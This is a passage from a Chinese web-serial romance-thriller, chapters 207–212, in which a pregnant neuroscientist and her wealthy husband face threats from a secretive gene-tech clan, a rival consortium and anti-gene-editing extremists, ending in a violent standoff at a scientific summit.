江晚絮挽住他的胳膊。
“我想吃辣的。”
“不行,医生说要清淡。”
“我就要吃辣的!酸儿辣女,说不定是个女儿呢?”
“……行,依你。不过只能吃一点点。”
两人相携走出了办公室。
第207章 巨大的背叛
江晚絮挽着顾彦廷的手臂,刚走出电梯,就有种被人监视的感觉。
她皱眉环顾四周,却没有发现任何异样。
“怎么了?”
顾彦廷察觉到她脚步的停顿,立刻握紧了她的手。
“是不是低血糖了?我就说让你先喝点那碗参鸡汤,你非不听。”
他虽然语气凶巴巴的,但眼神里全是疼惜,立刻就要伸手去抱她。
“没事。”
江晚絮摇摇头,还没来得及说话,口袋里的手机突然震动了一下。
不是微信提示音。
是一种她从未听过的,尖锐刺耳的蜂鸣声。
江晚絮的心脏猛地缩了一下。
她拿出手机。
屏幕是全黑的,只有一行血红色的字。
【江小姐,我是牧羊人。】
【你母亲当年从家族窃取的技术,该归还了。】
江晚絮的手一抖,手机差点滑落。
“窃取?”
她死死盯着那两个字,嘴角勾起一抹荒唐的笑,“顾彦廷,你看。”
“他们说我妈窃取?”
“她2岁就离开了亲生父母,长大后又被当成生育机器,被当成小白鼠,最后被注射神经毒素惨死!现在,他们居然说她是窃贼?”
红色的字还在继续跳动。
【交出你母亲留下的‘基因序列密钥’。】
【立刻停止所有神经科学相关的研究。】
【三天内,我要看到你因病永久退出科研界的声明。】
【否则,涅墨西斯财团会比我先动手。相信我,他们可没我这么客气。】
“呵。”
顾彦廷看到这些,冷笑一声,“因病退出?威胁到老子头上了?”
他话音刚落,一直跟在后面的林舟立刻上前,看到屏幕上的字,神色也是一变。
林舟接过手机,不需要顾彦廷吩咐,立刻拿出随身携带的微型终端,手指在键盘上飞快敲击。
然而,仅仅过了半分钟,林舟的额头上就渗出了冷汗。
“顾总……查不到。”
“什么叫查不到?”顾彦廷的眉头狠狠拧起,“你的CCF奖项怎么拿的?”
林舟汗都冒出来了。
他把屏幕转向顾彦廷,上面显示着一连串乱码般的跳板地址,“对方使用了军用级的量子加密技术,IP地址每0.01秒就在全球跳转一次。上一秒在南极,下一秒就在五角大楼。”
“这种技术手段……”林舟咽了口唾沫,“堪比国家级情报组织的水平。”
“基因序列密钥……”江晚絮喃喃自语,“我根本不知道这是什么东西。”
“从小到大,我在江家连个像样的玩具都没有。如果妈妈当时从国外回来,真留了什么东西给我,早就**芊妤抢走了,或者被柳芸扔进垃圾桶了。”
想起那些年在江家受的罪。
下雪天被罚跪在院子里,膝盖冻得失去了知觉,还要听着屋内江芊妤弹钢琴的笑声。
因为江芊妤想要那个限量版的洋娃娃,她就要把舅舅送给她的生日礼物拱手相让。
甚至后来……
为了给江芊妤治病,她被按在手术台上,眼睁睁看着那根粗长的针头扎进自己的骨头里。
那种痛,深入骨髓。
可现在,这个所谓的“牧羊人”,却还要来剥夺她最后的一点尊严——她的事业。
江晚絮抬起头,眼眶通红,“顾彦廷,研究神经科学,是我没日没夜努力的结果。”
“他们让我退出?凭什么?”
“就因为我也流着那个该死的晨曦家族的血吗?”
顾彦廷看着她这副倔强又破碎的模样,心疼得不行。
“不退。”
他在她耳边咬牙切齿地保证,“只要有我在,谁也别想逼你做任何事。”
“什么狗屁牧羊人,什么涅墨西斯,就算是天王老子来了,要想动你,也得先过了我这关!”
“可是……”
江晚絮的声音在发抖,“他们说涅墨西斯会动手。如果只是针对我无所谓,但我肚子里还有……”
那是她和顾彦廷的孩子。
是她在经历了叶寒的背叛、家人的抛弃后,上天赐给她的唯一礼物。
她不能赌。
“别怕。”
顾彦廷的手轻轻抚摸着她的后背,“既然查不到,那我们就找个能查到的人。”
他转头看向林舟,“联系M姨。”
“建立最高级别的加密通道。我要跟这个所谓的‘清理者’,好好聊聊。”
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林舟点点头,拉上了窗帘,打开电脑。
很快,巨大的落地屏幕上,雪花闪烁了几下,随后出现了M姨的脸。
“顾总,晚絮。”
“我刚想联系你们,没想到你们先找来了。”
“看来M姨也收到风声了。”顾彦廷坐在沙发上,压迫感十足的开口,“那个‘牧羊人’,到底是个什么东西?”
顾彦廷开门见山,“他让晚晚交出密钥,还要毁了晚晚的事业。M姨,这就是你们晨曦家族对待后人的态度?”
屏幕那头,M姨苦笑了一声。
她叹了口气,目光复杂地看向江晚絮。
“晚絮,你别怪他狠。在家族内部,‘牧羊人’这一派系,被称为‘清理者’。”
“清理者?”江晚絮敏锐地抓住了这个词,“我们要被清理?”
“不完全是。”M姨摇了摇头,解释道,“晨曦家族虽然隐世,但内部早就**成了两派。”
“一派是像我这样的温和派,主张利用基因技术造福人类,或者至少……让家族延续下去。”
“但‘牧羊人’代表的是激进派,也就是‘守护者’。”
“他们的信条是:晨曦家族的基因技术是潘多拉魔盒,一旦流落外界,必将引发生物灾难。所以,所有流落在外的技术必须回收,所有不受控制的实验体必须销毁。”
“必要时……不惜清除携带者。”
江晚絮只觉得遍体生寒。
“所以,在他们眼里,我不是一个人。”
她指着自己的鼻子,自嘲地笑道,“我只是一个行走的、失控的‘生物技术漏洞’,是吗?”
“就像电脑程序里的Bug,需要被格式化,被删除?”
“晚絮……”M姨有些不忍,“你外婆当年逃离家族,带走了核心资料,这对家族来说是巨大的背叛。牧羊人一直认为,是你母亲导致了涅墨西斯财团对家族的觊觎。”
“放屁!”
顾彦廷一拍桌子,震得桌上的咖啡杯都跳了起来。
“那是晚晚的亲外婆!她不过就是想过普通生活,怎么就成背叛了?”
“你们这群老古董,自己守着那一亩三分地发霉就算了,还要把脏水泼到一个受害者身上?”
第208章 天下没有免费的午餐
M姨似乎早就了解了顾彦廷的脾气。
她耐着性子解释。
“顾总,我知道你有权有势。但在基因技术领域,有些东西不是靠钱和枪就能解决的。”
“牧羊人这次之所以这么急,甚至不惜暴露行踪给你发消息,是因为——涅墨西斯财团已经拿到了三分之一的密钥。”
“三分之一?”
江晚絮皱眉,“密钥到底是什么?”
“那是启动晨曦家族基因优化技术的关键。”M姨神色严肃,“没有密钥,所谓的基因优化者只是‘潜在天才’。一旦密钥激活,就能解开基因锁,获得超越常人的智力、体能甚至寿命。”
“但这把锁,被分成了三份。”
M姨伸出三根手指。
“第一份,保存在家族核心长老会手里。”
“第二份,当年被家族的一个叛徒偷走,高价卖给了涅墨西斯财团。这就是为什么涅墨西斯一直死死盯着你们母女的原因。”
“而第三份……”
M姨的目光落在江晚絮身上,带着深深的悲悯。
“就在你外婆手里。”
“你外公当年将你外婆和你妈妈送回去后,没几天就被人暗杀了。他们搜了所有的地方都没有找到密钥,很可能被你外婆带回去了。”
“后来,你外婆也出意外**。那第三份密钥,应该就在你母亲身上。”
江晚絮愣住了。
“不可能……”
江晚絮摇着头,声音哽咽,“妈妈留给我的,除了几本日记,还有那个时光胶囊……就再也没有其他东西了。”
“如果真有什么密钥,早就**华嵩搜走了!”
“也许不是实物。”
顾彦廷突然开口。
他转头看着江晚絮,“晚晚,你刚才说,你的嗅觉比常人灵敏,是基因天赋。”
“有没有可能……”
顾彦廷顿了顿,似乎在斟酌用词,“那个密钥,不在任何物品里,而在……你的身体里?”
江晚絮下意识地抱住了自己的手臂。
身体里?
在她的血肉里?
“顾总猜得没错。”
屏幕上,M姨点了点头,证实了这个残酷的猜想。
“这就是‘生物密钥’。方颖得知自己的身份后,曾经回来过一次。她无意间说过,最后一段核心序列,通过基因编辑手段,并没有写在纸上,而是……”
“而是遗传给了你。”
江晚絮只觉得一阵天旋地转。
原来如此。
为什么**嵩不待见她,却又不肯放她离开?
为什么涅墨西斯财团要杀了外婆,又要监视母亲?
为什么牧羊人说要“回收”?
因为她江晚絮,从出生的那一刻起,就不是一个被期待的生命。
她是一个会呼吸的保险箱。
是一个活体的U盘。
是一个被各方势力觊觎的……物件。
“哈……”
江晚絮笑出了声。
“真好笑。”
“真的太好笑了。”
她一边笑一边擦眼泪,可是越擦越多。
“我在叶寒身边做了五年保姆,他把我当成免费的佣人,当成给江芊妤输血的血库。”
“我在江家做了二十几年女儿,他们把我当成扫把星,当成换取利益的筹码。”
“现在,好不容易逃出来了……”
“你们又告诉我,我连人都算不上?我就是一段行走的基因代码?”
江晚絮站起来,情绪几近崩溃。
“既然我是密钥,那是不是只要我**,一切就结束了?”
“是不是只要把我这个‘漏洞’补上,就不会有人再来打扰我的生活了?!”
说着,她抓起桌上的水果刀,就要往自己手腕上划去。
既然这也是错,那也是错,不如一了百了!
“江晚絮!”
一声暴喝。
顾彦廷冲过来,一把夺下她手里的刀,狠狠扔在地上。
“当啷”一声脆响。
刀飞出老远,撞在墙角。
顾彦廷双手钳住她的肩膀,逼迫她看着自己。
“你给老子清醒一点!”
他双眼赤红,额头青筋暴起,胸口剧烈起伏。
“什么代码?什么密钥?你是江晚絮!”
“你是我顾彦廷明媒正娶的老婆!是我孩子的妈!”
“你是
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活生生的人!你会哭,会笑,会疼,会因为吃不到辣的跟我闹脾气!”
“谁允许你放弃自己了?”
“你为什么就不能坦然去面对?为什么不能勇敢一点?”
“你为什么就非要一次又一次的逃避?!”
顾彦廷把她的头按在自己胸口,声音哽咽,“你听到了吗?这是我的心跳,不是机器的马达声。”
“我也会疼,会难过,会因为你的懦弱生气。”
“请你勇敢一些好吗?不是为了我,也不是为了孩子,而是为了你自己。”
“况且,只要我在一天,谁也别想把你当成工具。牧羊人不行,晨曦家族不行,那个狗屁财团更不行!”
江晚絮趴在他怀里,刚才那种濒临崩溃的绝望,终于一点点退去。
是啊。
她还有顾彦廷。
如今却为了她,甘愿把自己变成一堵墙,替她挡住所有的风雨。
而她却一次又一次用自己的懦弱伤害着他。
“顾彦廷……”
江晚絮抓着他的衣襟,哭得像个孩子,“我好累……我真的好累……”
“为什么他们都不肯放过我……”
“因为他们怕。”
顾彦廷吻着她的发顶,眼神鉴定,“因为你比他们都要优秀,都要强大。他们那是嫉妒,是恐惧。”
他抬起头,看向屏幕里一直沉默的M姨。
“M姨,既然话说开了,那就谈谈条件吧。”
“你既然联系我们,肯定不是为了传达牧羊人的恐吓。至少我相信你不是。”
“你想保住晚晚,对吧?”
M姨赞赏地点了点头。
“顾总果然聪明。牧羊人想抢在涅墨西斯之前控制晚絮,甚至不惜毁了她。但我不同意。”
“晚絮也是我的外甥女,我也希望她能平安。”
“我可以代表家族温和派,为晚絮提供庇护,甚至可以帮你们干扰牧羊人的追踪,让他短时间内找不到你们。”
“条件呢?”
江晚絮从顾彦廷怀里抬起头,擦干眼泪,恢复了冷静。
天下没有免费的午餐。
这一点,她在江家早就学会了。
第209章 准备好了吗?
M姨看着江晚絮瞬间转变的气场,眼底闪过一丝欣慰。
这孩子,比方颖要坚强得多。
“条件很简单。”
M姨正色道,“晚絮,既然你遗传了密钥,那你对家族的核心技术就有天然的亲和力。”
“我需要你协助我,修复家族现有技术中的几个致命漏洞。”
“这些漏洞如果不修复,一旦被涅墨西斯利用,后果不堪设想。”
“作为交换,我会动用我在家族内部的所有权限,压制牧羊人的行动。并且,我会把当年你外婆留下的另一部分研究资料——关于如何安全剥离‘密钥’的方法,交给你。”
“剥离?”
江晚絮眼睛一亮,“你是说,我可以把这鬼东西从我身体里拿走?”
“理论上可以。”
M姨点头,“只要剥离了密钥,你就只是一个普通人。涅墨西斯和牧羊人也就没有理由再盯着你了。”
这确实是一个无法拒绝的条件。
江晚絮看向顾彦廷。
顾彦廷微微颔首,表示支持。
“好,我答应。”
江晚絮转过身,直视着屏幕上的M姨。
“但我有一个条件。”
“你说。”
“我不是作为你们的下属,也不是作为被保护的弱者。”江晚絮的声音终于坚定了起来,“我是作为合作伙伴。”
“晚星科技会和晨曦家族的温和派建立联合实验室。所有的研究成果,我有共享权。”
“而且,顾彦廷要作为这一项目的独家投资人。”
顾彦廷挑了挑眉。
他的小女人,终于学会仗势欺人了。
还是仗他的势。
这种感觉,**的爽。
“没错。”
顾彦廷接过话茬,霸气侧漏,“钱,我有的是。安保,我有最顶级的。”
“M姨,告诉那个牧羊人。我顾彦廷不是吃素的。”
“如果要合作,就拿出诚意。如果真要斗……”顾彦廷眼神一凛,“我顾氏集团几千亿的资产,哪怕全部砸进去听个响,也能把你们那个隐世家族砸出个窟窿来!”
M姨愣了愣。
过了许久,她才露出一个真心的笑容。
“好。晚絮,欢迎……回家。”
这一声“回家”,让江晚絮的眼眶又是一热。
视频通话结束,房间里恢复了安静。
顾彦廷走到酒柜前,倒了一杯温水,又加了一片柠檬。
“来,喝口水,润润嗓子。”
他把水递给江晚絮。
江晚絮接过水,看着杯子里沉浮的柠檬片。
想起不久前,江明哲也是这样给她端来一杯柠檬水。
只不过,那杯水里有毒。
而这杯水里,只有爱。
“顾彦廷。”
“嗯?”
“你刚才说……哪怕几千亿都砸进去,你不心疼啊?”
“心疼个屁。”
顾彦廷在她身边坐下,捏了捏她的脸颊,“钱没了可以再赚。老婆没了,我上哪儿找去?”
“再说了。”
他凑近她的耳朵,温热的气息喷洒在她的颈窝,“你刚才那副跟M姨谈判的样子,真迷人。”
“要不是你怀着孕,我真想现在就……”
“顾彦廷!”江晚絮红着脸推开他,“正经点!”
“怕什么。”
顾彦廷顺势握住她的手,放在唇边亲了一口,“我说过,刀我来递,人我来杀。”
“那个牧羊人不是要让你退圈吗?”
“明天。”顾彦廷的眼里闪烁着算计的光芒,“明天我们就召开新闻发布会。”
“不仅不退,还要高调宣布,晚星科技获得神秘巨额注资,即将启动‘晨曦计划’。”
“让所有的媒体,所有的镜头都盯着这里。”
“我就不信在光天化日之下,他们敢不敢动你一根汗**!”
夜深了。
别墅外,初夏的风带着一丝燥热,吹动着花园里的树叶沙沙作响。
江晚絮躺在床上,却怎么也睡不着。
只要一闭上眼,脑海里就是那行血红色的字,还有M姨说的那些关于基因、关于宿命的话。
身后的床垫塌陷了一块。
顾彦廷洗完澡出来了。
他带着一身清爽的水汽,从背后抱住了她
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。
“还没睡?”
“睡不着。”
江晚絮转过身,把脸埋进他的胸膛,“顾彦廷,你说……我们的孩子,会不会也……”
她不敢问下去。
如果这个诅咒是遗传的,那她肚子里的孩子,是不是一生下来,也要面临这样的追杀和利用?
“不会。”
顾彦廷回答得斩钉截铁。
“M姨不是说了吗,有剥离的方法。”
“等我们搞定了这一切,就把那劳什子密钥剥离出来,扔进马桶里冲走。”
“我们的孩子,只需要做一个快乐的富二代。”
“不管是男孩还是女孩,我都会把他宠上天。谁敢让他不高兴,我就让谁全家不高兴。”
江晚絮被他逗笑了。
“哪有你这样教孩子的,会惯坏的。”
“惯坏就惯坏。”顾彦廷理直气壮,“顾家的种,本来就有嚣张的资本。”
说着,他的手轻轻覆在她的小腹上。
虽然那里还很平坦,但他仿佛已经感受到了那个小生命的存在。
“小东西,听到了吗?”
他对着她的肚子低语,“你妈胆子小,以后出来要听话,别老吓唬她。”
“还有,等你出来了,记得替我在你妈面前多说好话。我追你妈可不容易了。”
江晚絮鼻头一酸,伸手搂住他的脖子,主动吻上了他的唇。
“顾彦廷……”
“谢谢你。”
谢谢你在我最绝望的时候,拉住了我。
谢谢你把破碎的我,一片一片地拼凑起来。
顾彦廷的眼神瞬间变得幽深。
他反客为主,加深了这个吻。
“睡吧,晚晚。”
一吻终了,顾彦廷替她掖好被角,眼神温柔。
“不管发生什么,你只要记住一件事,我就在你身后。”
江晚絮闭上眼睛,在那熟悉的雪松香气中,终于感到了久违的安宁。
那些曾经欺她、辱她、视她为草芥的人。
那些躲在暗处、自以为是的“牧羊人”和“神”。
准备好了吗?
我要开始让你们后悔了。
第210章 最后的通话
江明哲觉得自己像只过街老鼠。
这半个月,他没洗澡,胡茬爬满了下巴,眼底是一片青黑。
“该死……”
他咒骂一声,手指在键盘上敲击得只剩残影。
屏幕上,一行行绿色的代码疯狂跳动,最终定格在一个红色的文件夹上。
【解锁成功】
江明哲的心脏瞬间提到了嗓子眼。
他追踪了这个IP整整两周,利用了他在暗网所有的关系,甚至不惜动用了当年他在MIT留学时编写的违禁程序,才终于打开了对方的防火墙。
他点开文件夹。
一张照片弹了出来。
是一个穿着白大褂的中年男人,眼神阴鸷,怀里抱着一对可爱的双胞胎女儿。
【李默,前晨曦家族安全主管。妻女于十年前死于“涅墨西斯”制造的生化**。】
“原来是个疯子。”江明哲喃喃自语。
因爱生恨,因为自己淋过雨,所以要把别人的伞都撕烂。
但他没时间感叹反派的身世,因为下一份文件,让他的血液瞬间凝固。
文件名很简单:【峰会清理计划】。
【利用峰会安检漏洞,通过高频声波**,制造江晚絮心脏骤停假象,伪造成意外流产及跌落事故。】
【执行时间:今日下午14:00。】
“操!”
江明哲忍不住喊了一句脏话。
那一瞬间,江明哲的脑海里不再是代码,而是五年前的画面。
那时候江晚絮刚嫁给叶寒,为了给江芊妤输血,她脸色苍白地躺在病床上。而他这个做哥哥的,手里拿着刚刚削好的苹果,却越过她,递给了隔壁床的江芊妤。
“三哥,我疼……”当时的江晚絮虚弱地喊他。
“忍忍吧,芊妤她……太可怜了。”
他当时是这么说的吧?冷漠,理所当然,高高在上。
后来,她**明宇推下楼梯。
那一晚,她哭得撕心裂肺,而他在楼上的房间里,捂紧了自己的耳朵,没有去看她。
“啪!”
江明哲狠狠抽了自己一个耳光。
**不是人啊。
他看着屏幕上的时间:13:20。
离峰会开始还有40分钟。
江晚絮现在肯定已经在顾彦廷的保护下入场了。
但是高频声波这种东西,顾家的保镖防不住,那是针对基因缺陷者的特种武器!
“地告诉顾彦廷。”
江明哲颤抖着手,打开了一个加密邮箱。
只要按下发送键,顾彦廷就能收到所有的证据和坐标。
但是……
屏幕右下角突然弹出一个黑色的骷髅头弹窗。
【警告:检测到非法数据传输。反追踪程序启动。】
【倒计时:10,9,8……】
牧羊人发现了!
如果现在发送,他的IP就会立刻暴露。牧羊人手下的**就在这附近,他会死。
如果不发,他可以关机,扔掉电脑,换个地方继续苟活。
江明哲的手指悬在回车键上,剧烈地颤抖。
活下去,还是救那个被他欺负了二十多年的妹妹?
“三哥,你做的机器人真厉害。”
小时候的江晚絮,总是用那种崇拜的星星眼看着他。
哪怕后来被他冷落,她也从未真正恨过他。
直到那天在病房,她平静地对他说:“江明哲,我不欠你了。”
那一刻,比死还难受。
“江明哲,你当了半辈子怂包,就硬气这一回吧。”
他惨笑一声,闭上眼,重重地敲下了回车键。
【邮件已发送。】
两分钟后,楼下传来了急促的刹车声和沉重的脚步声。
来得真快。
江明哲抓起手机和车钥匙,从后窗翻了出去。
外面下着暴雨。
他没往人多的地方跑,反而发动了那辆破旧的二手桑塔纳,一脚油门,冲向了荒无人烟的旧码头。
只有把他们引开,晚絮那边才有一线生机。
雨刮器疯狂摆动,却刮不净眼前的迷雾。
就像他这荒唐的一生……
国际会议中心,金碧辉煌。
无数聚光灯聚焦在舞台中央,台下坐着来自全球的顶尖神经学家和生物学家。
“这水温不对,太烫了,换。”
后台休息室,顾彦廷皱着眉把一杯温水递回给助理。
“还有这个椅子,太硬了,去把我车上那个定制的腰靠拿来。”
“另外,让安保把那个什么……声波
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检测仪再过一遍。林舟,你再去检查一遍电路,别让人动了手脚。”
江晚絮坐在沙发上。
她看着忙得团团转的顾彦廷,她既无奈又心暖。
“顾总,”她伸手拉住男人的袖口,“你已经检查第八遍了。连一只苍蝇飞进来都要被你查公母。”
“还是小心一点的好。”
顾彦廷一本正经,“现在的苍蝇搞不好都带监控摄像头。我老婆这么好看,可不能让苍蝇占了便宜。”
江晚絮忍不住笑了,“油嘴滑舌。”
“我认真的。”
顾彦廷蹲下身看着她,“晚晚,如果感觉不舒服,哪怕只是手指头麻了一下,立刻告诉我。咱们不讲了,回家。”
“什么狗屁科学,哪有你一根头发丝重要。”
江晚絮摸了摸微微隆起的小腹,“为了宝宝,我也要讲。我要让所有人知道,晨曦家族的技术不是诅咒,而是希望。”
就在这时,顾彦廷的公文包震动了一下。
林舟打开公文包,拿出平板点开查看。
“顾总,收到一封匿名邮件。”林舟神色凝重,“发件人IP显示……是江明哲。”
顾彦廷眉峰一挑。
“怎么,求饶了?”
他接过平板,快速浏览了一遍内容,然后脸色瞬间变得铁青。
“高频声波……好手段。”
顾彦廷低吼,“立刻通知安保组,启动全频段干扰屏蔽!把会场所有的音响设备切断电源,换备用的人工扩音!”
“是!”
处理完这一切,顾彦廷回头看向江晚絮,还没来得及开口,江晚絮的手机响了。
是一个陌生号码。
江晚絮犹豫了一下,接通了。
“喂?”
听筒里传来的声音,伴随着呼啸的风声和海浪拍打的声音,还有……粗重的喘息声。
“晚絮……”
这个声音。
江晚絮怔了怔,不确定地开口问道,“三哥?”
“是我……”
江明哲的声音听起来很远,又很近,还有些虚弱,“听我说,别说话,听我说……”
“牧羊人要在会场……用声波……对付你和你肚子里的孩子……我已经把资料发给顾彦廷了……他会处理的……”
第211章 毁灭
听到江明哲的声音,江晚絮突然就有些不好的预感。
她颤着声问,“你在哪?怎么会有这么大的风声?”
“我在码头。”
江明哲笑了笑,那是江晚絮从未听过的释然的笑声。
“风景不错,就是有点冷。”
“晚絮,以前……是三哥不好。”
“我不求你原谅……我只是想……如果我这次回不去了,你能不能……能不能别把我想得那么坏?”
“哪怕只有一点点……觉得我也算是个合格的哥哥?”
电话那头,突然传来几声闷响,像是重物撞击车门的声音。
紧接着,是一个陌生的男声怒吼:“他在车里!别开枪,抓活的!!”
“江明哲!你快跑啊!”江晚絮下意识地就开始对着手机大喊,眼泪也在瞬间夺眶而出。
“跑不掉了。”
江明哲看着窗外包围过来的黑衣人,看着那些黑洞洞的枪口。
他拿出一把美工刀,那是他用来做模型的工具。
“晚絮,对不起……保重。”
“嘟——嘟——嘟——”
电话挂断了。
手机滑落在地毯上。
江晚絮身形一晃,差点摔倒。
顾彦廷眼疾手快,一把搂住了她的腰。
“晚晚!”
“他……”江晚絮抓着顾彦廷的衣领,泪水模糊了视线,“他去引开他们了……顾彦廷,救救他……哪怕他是江家人,哪怕他以前……”
“我知道。”
顾彦廷将她按在怀里,眼中闪过一丝复杂。
他没想到,冷漠自私的江明哲最后竟然会有这样的血性。
“我已经派人过去了。”顾彦廷沉声道,“林舟带着一队人,五分钟前就出发了。只要他还有一口气,我就能把他拉回来。”
“现在,晚晚,擦干眼泪。”
顾彦廷捧起她的脸,温柔地擦去她的泪痕。
“外面那些人都在等着看你的笑话,等着看你崩溃。”
“你不能输。”
“你要带着江明哲拼命给你换来的机会,上台去。”
“去告诉全世界,谁才是最后的赢家。”
江晚絮深吸一口气。
她看着镜子里的自己。红肿的眼睛,苍白的脸。
这不对。
她拿起口红,在唇上重重涂了一层鲜艳的红。
“好。”
江晚絮转身,推开了休息室的大门。
会场内,座无虚席。
当江晚絮走上台时,原本嘈杂的议论声瞬间消失。
她太美了。
那种美不是柔弱的小白花,而是一种经历了风霜后的凌厉与坚韧。像是一朵在悬崖边盛开的红玫瑰,带着刺,却又让人移不开眼。
M姨安排的家族护卫,已经悄无声息地混入了人群,替换了原本可疑的服务生。
“各位下午好。”
江晚絮站在麦克风前,声音通过备用扩音系统传遍全场。
“今天的主题是基因编辑的伦理。在谈论伦理之前,我想先谈谈‘人’。”
江晚絮抚摸着自己的手腕,强忍着才能不让眼泪掉下来。
“很多人说,我是晨曦家族的后裔,是行走的宝藏,是进化的钥匙。”
“在某些人眼里,我是一串代码,是一个容器,甚至……是一个必须被修正的错误。”
台下一片哗然。
隐在人群中的涅墨西斯代表脸色难看,频频看向手表。
为什么声波攻击还没开始?
为什么那个女人还能站在这里侃侃而谈?
江晚絮冷笑一声,继续说道:
“为了这所谓的‘钥匙’,我的母亲被至亲之人下毒害死,我的外婆被迫**下落不明。”
“我也曾被至亲推下深渊,被当成联姻的工具。”
“但是,我想告诉在座的各位,以及躲在阴暗角落里的‘牧羊人’们——”
说到这里,江晚絮的声音陡然拔高,眼神变得坚定起来。
“科技不应成为少数人掌控的特权,更不应成为追杀同类的理由!晨曦家族的悲剧,绝不能再重演!”
掌声。
先是零星的几声,随后如雷鸣般爆发。
然而,就在掌声达到顶峰的瞬间——
“砰!”
头顶的通风管道传来一声巨响,然后整个会场的灯光骤然熄灭。
黑暗中,几枚圆柱形的
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物体被扔上了舞台,炸开一团团浓烈的白色烟雾。
“啊——”
“**了!”
“快跑!”
尖叫声,桌椅翻倒声,乱作一团。
在烟雾中,十几道黑影快速冲向了演讲台。
他们手里拿的是特制的电击捕捉网和高分子绳索。
“晚晚!”
顾彦廷高喊一声紧跟着直接冲上了台,一把将江晚絮护在身后,抬腿一脚,将冲在最前面的一个袭击者踹飞出三米远。
“找死!”
顾彦廷双眼赤红,西装外套一脱,直接罩在江晚絮头上,将她严严实实地护在怀里。
“M姨的人呢!干活!”顾彦廷怒吼。
话音未落,晨曦家族的护卫立刻拔出了钛合金甩棍。
双方瞬间混战在一起。
让顾彦廷意外的是,这群袭击者的目标似乎并不是抓捕,而是……毁灭。
一名袭击者即使被顾彦廷卸掉了一条胳膊,依然疯狂地从怀里掏出一把**,嘶吼着向江晚絮刺来。
“为了纯洁的人类!消灭变种怪物!”
这一声吼,让在场所有人都愣了一下。
顾彦廷的动作顿了一下,随即沉声说出了五个字。
“纯人类阵线?”
江晚絮躲在顾彦廷怀里,同样拧紧了双眉。
这是一个极端的反基因改造组织。
他们认为所有经过基因编辑的人类都是“污染源”,必须被物理清除。
在他们眼里,江晚絮不是受害者,而是原罪本身。
她就是个怪物。
“怪物?呵。”
顾彦廷单手扣住那人的手腕,用力一折,那把**便掉落在地。
他一脚踩在那人的胸口,如同修罗。
“睁大你的狗眼看清楚,我是谁。”
“想动她?除非从我的尸体上踏过去!”
更多的袭击者涌了上来。
场面彻底失控。
江晚絮在顾彦廷的臂弯里,透过西装的缝隙,看到了这混乱的世界。
有人想利用她,有人想回收她,有人想毁灭她。
她就像是一个身怀重宝却手无寸铁的孩子,站在满是恶狼的荒原上。
第212章 让他全家陪葬
江晚絮在口袋里摸到一支钢笔。
这支钢笔还是江明哲在她二十岁生日时送给她的,是一支改装过防身笔。
有一个黑影从侧面扑过来,试图偷袭顾彦廷的后背。
江晚絮挣脱了顾彦廷的怀抱,拔开钢笔帽,就朝着对方的大腿刺了过去。
“噗嗤!”
尖锐的笔尖,扎进了那人的大腿动脉。
鲜血喷涌,那人惨叫一声倒地不起。
顾彦廷回头,就看到满手是血的江晚絮。
“顾彦廷,”江晚絮喘着气,与他背靠背站立,“我也不是吃素的。”
“好。”
顾彦廷嘴角微微上扬,露出一个狂傲的笑,“那就让我们夫妻俩,好好给他们上一课。”
烟雾渐渐散去。
会场的大门被人从外面暴力撞开。
然后闯进来两队全副武装的人马。
左边一队,穿着带有涅墨西斯财团标志的黑色服装。
右边一队,则是牧羊人的精锐打手。
此时,加上场中残余的“纯人类阵线”的疯子,以及M姨派来的护卫队。
“这也太……”江晚絮忍不住吐槽,“太离谱了!”
(内心OS:辰辰,你越写越离谱了!你要不要看看你把我折磨成什么样子了?!)
老者看了一眼地上横七竖八的“纯人类阵线”成员,轻蔑地笑了笑,“一群只会喊口号的废物。”
他又看向顾彦廷,“顾总,身手不错。不过,双拳难敌四手。看看周围,你觉得你能保住她吗?”
几十把黑洞洞的枪口,齐刷刷地对准了舞台中央。
顾彦廷冷笑一声,从后腰拔出一把银色的**,漫不经心地擦了擦**。
“老东西,你可以试试。”
“看看是你的**快,还是我的**快。”
顾彦廷打了个响指。
林舟带着人出现在二楼的回廊上,每个人手里都举着一个引爆器。
“这座会议中心的地基里,埋了点东西。”顾彦廷笑得像个疯子,“这是我刚才让人临时装的。只要我手指一动,咱们就一起去见阎王。”
“反正我有老婆陪着,不亏。你们呢?”
老者的脸色变了变。
顾彦廷就是个彻头彻尾的疯子!谁会在自己出现的楼里埋**?
牧羊人代理人的脸色变了又变。
“顾彦廷,你这是在玩火。”
“玩火?”顾彦廷搂紧了江晚絮,“老子是为了保命。少废话,让路!”
就在双方僵持不下时,大屏幕突然亮了。
原本因为断电而黑掉的屏幕,此刻却跳出了一段实时视频。
视频里,是一个昏暗的集装箱内部。
江明哲被绑在椅子上,浑身是血,脑袋无力地垂着。
而在他旁边,站着一个戴着面具的男人,手里拿着一支装着蓝色液体的注射器,正对着江明哲的颈动脉。
“顾总,**确实厉害。”
面具男的声音经过变声处理,听起来格外刺耳。
“但是,只要你敢按下去,或者敢踏出这个门一步,我就让这位江三少下地狱。”
“我知道江小姐不在乎这个曾经欺负过她的哥哥。”
“但是……”
面具男把镜头拉近,对准了江明哲的手。
江明哲的手里,攥着一张照片。
那是小时候,江晚絮还没被送去乡下时,他们兄妹三人的合影。
江晚絮的眼泪瞬间决堤。
“卑鄙!”
她冲着大屏幕喊道,“放了他!你要什么冲我来!”
“很好。”
面具男笑了,“江小姐果然重情重义。”
“做一个选择吧。”
“是你自己走过来,跟我走;还是看着他死在你面前?”
“
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我只数三声。”
“三。”
江晚絮感觉全身的血液都凉了。
“二。”
面具男的针头已经刺破了江明哲的皮肤。
顾彦廷握着枪的手青筋暴起,他想开枪打碎屏幕,但他知道那没用。
他想带江晚絮走,但他感受到了怀里女人颤抖的身体。
如果江明哲因她而死,江晚絮这辈子都会活在噩梦里。
“我……”
江晚絮刚要迈步,却被顾彦廷拉住。
“别去!”顾彦廷低吼,“去了你就回不来了!孩子也没了!”
“可是三哥……”
“一!”
面具男的手指就要推下活塞。
就在这千钧一发之际——
视频里的江明哲动了。
原本看似昏迷的他突然抬起头,一口咬住了面具男的手腕!
“啊!”面具男惨叫一声,注射器掉落在地。
江明哲不知哪来的力气,带着椅子猛地向后一撞,将面具男撞翻在地。然后他对着镜头,满嘴是血地嘶吼:
“晚絮!别管我!”
“顾彦廷!**是个男人就带她走!别让我看不起你!!”
视频信号在剧烈的晃动中戛然而止。
最后的画面,是几个人冲上去对着江明哲一顿拳打脚踢。
屏幕黑了。
江晚絮捂着嘴,发不出一丝声音,只有绝望的呜咽。
顾彦廷的眼睛红得几乎要滴血。
他看了一眼牧羊人的代理人,又看了一眼怀里几近崩溃的江晚絮。
“林舟!掩护!”
